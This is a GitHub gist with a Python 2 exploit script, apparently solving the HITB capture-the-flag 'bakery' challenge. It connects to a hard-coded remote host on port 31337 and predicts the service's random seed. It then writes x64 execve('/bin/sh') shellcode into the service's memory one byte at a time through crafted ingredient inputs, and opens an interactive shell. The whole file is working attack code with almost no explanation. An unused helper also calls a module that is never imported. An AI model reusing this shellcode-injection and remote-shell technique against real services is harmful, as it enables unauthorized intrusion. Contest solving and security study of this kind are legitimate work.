Created
March 23, 2016 03:09
-
-
Save hugsy/06ff00997c9d07099f27 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python2 | |
# | |
# bakery@ip-172-31-31-97:/home/bakery$ cat YOU_WANT_THIS_ONE | |
# cat YOU_WANT_THIS_ONE | |
# You win! The flag is HITB{24d467d954cc08efbfa6acd8341e55d7} | |
# | |
# @_hugsy_ | |
# | |
import socket, struct, sys, telnetlib, binascii | |
# HOST = "localhost" | |
HOST = "52.17.31.229" | |
PORT = 31337 | |
def h_s(i,signed=False): return struct.pack("<H", i) if not signed else struct.pack("<h", i) | |
def h_u(i,signed=False): return struct.unpack("<H", i)[0] if not signed else struct.unpack("<h", i)[0] | |
def i_s(i,signed=False): return struct.pack("<I", i) if not signed else struct.pack("<i", i) | |
def i_u(i,signed=False): return struct.unpack("<I", i)[0] if not signed else struct.unpack("<i", i)[0] | |
def q_s(i,signed=False): return struct.pack("<Q", i) if not signed else struct.pack("<q", i) | |
def q_u(i,signed=False): return struct.unpack("<Q", i)[0] if not signed else struct.unpack("<q", i)[0] | |
def _xlog(x): | |
sys.stderr.write(x + "\n") | |
sys.stderr.flush() | |
return | |
def err(msg): _xlog("[!] %s" % msg) | |
def ok(msg): _xlog("[+] %s" % msg) | |
def dbg(msg): _xlog("[*] %s" % msg) | |
def asm(code, arch="x86", bits=64): | |
r2 = "/usr/local/bin/rasm2" | |
cmd = "{} -a {} -b {}".format(r2, arch, bits).split(" ") | |
cmd+= [code, ] | |
try: rc = subprocess.check_output(cmd).strip() | |
except: return "" | |
return binascii.unhexlify(rc) | |
def grab_banner(s, until_pattern="> "): | |
data = s.read_until(until_pattern) | |
# dbg("Received %d bytes: %s" % (len(data), data)) | |
return data | |
def build_socket(host, port): | |
s = telnetlib.Telnet(HOST, PORT) | |
ok("Connected to %s:%d" % (host, port)) | |
return s | |
def interact(s): | |
try: | |
ok("""Get a PTY with ' python -c "import pty;pty.spawn('/bin/bash')" '""") | |
s.interact() | |
except KeyboardInterrupt: | |
ok("Leaving") | |
except Exception as e: | |
err("Unexpected exception: %s" % e) | |
return | |
def find_closest_upper_bound(x): | |
a = x >> 8 | |
a+= 1 | |
return a << 8 | |
def write_char_in_memory(sock, char, init): | |
sock.read_until("add ingredient> ") | |
dbg("Writing char=%c rand=%d" % (char, init)) | |
# ensuring base ends with a NULL byte | |
base = init + sum( [ord(x) for x in 'FLOUR'] ) | |
top = base | |
if base & 0xff != 0x00: | |
top = find_closest_upper_bound(base) | |
dbg("Using top=%d, base=%d" % (top, base)) | |
diff = top-base | |
t = diff / 0x41 | |
base_hex = chr(0x41) * t | |
r = diff % 0x41 | |
if r > 0: | |
base_hex+= "\x01" * r | |
# from here we fully control the character @ mmap_buf[i] | |
msg = 'FLOUR' + base_hex + char | |
dbg("Sending '%s'" % repr(msg)) | |
sock.write(msg + "\n") | |
return | |
def pwn(s): | |
# get the init rand() | |
parts = s.read_until("\n").split() | |
temp = int(parts[5]) | |
ok("Got temp=%d" % temp) | |
rand = temp / 0x1337 | |
ok("Got rand=%d" % rand) | |
try: | |
# shellcode from shell-storm.org | |
# x64: execve('/bin/sh') | |
sc = "\x48\x31\xd2" # xor rdx, rdx | |
sc+= "\x48\x31\xc0" # xor rax, rax | |
sc+= "\x48\x31\xf6" # xor rsi, rsi | |
sc+= "\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68" # mov rbx, 0x68732f6e69622f2f | |
sc+= "\x48\xc1\xeb\x08" # shr rbx, 0x8 | |
sc+= "\x53" # push rbx | |
sc+= "\x48\x89\xe7" # mov rdi, rsp | |
sc+= "\xc6\xc0\x3b" # mov al, 59 | |
sc+= "\x0f\x05" # syscall | |
sc+= "\xff\xc0" # inc eax | |
sc+= "\x48\x31\xff" # xor rdi, rdi | |
sc+= "\x0f\x05" # syscall | |
sc+= "\x90"*10 + "\xcc" | |
for c in sc: | |
write_char_in_memory(s, c, rand & 0xff) | |
ret = True | |
except: | |
ret = False | |
if ret: | |
s.read_until("add ingredient> ") | |
s.write("BAKE" + '\n' ) | |
return ret | |
if __name__ == "__main__": | |
s = build_socket(HOST, PORT) | |
raw_input("Attach with GDB and hit Enter ") | |
grab_banner(s, "RAISIN") | |
grab_banner(s, "\n\n") | |
ok("Got banner") | |
if pwn(s): | |
ok("Got it, interacting (Ctrl-C to break)") | |
interact(s) | |
ret = 0 | |
else: | |
err("Failed to exploit") | |
ret = 1 | |
s.close() | |
exit(ret) | |
# auto-generated by gef |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment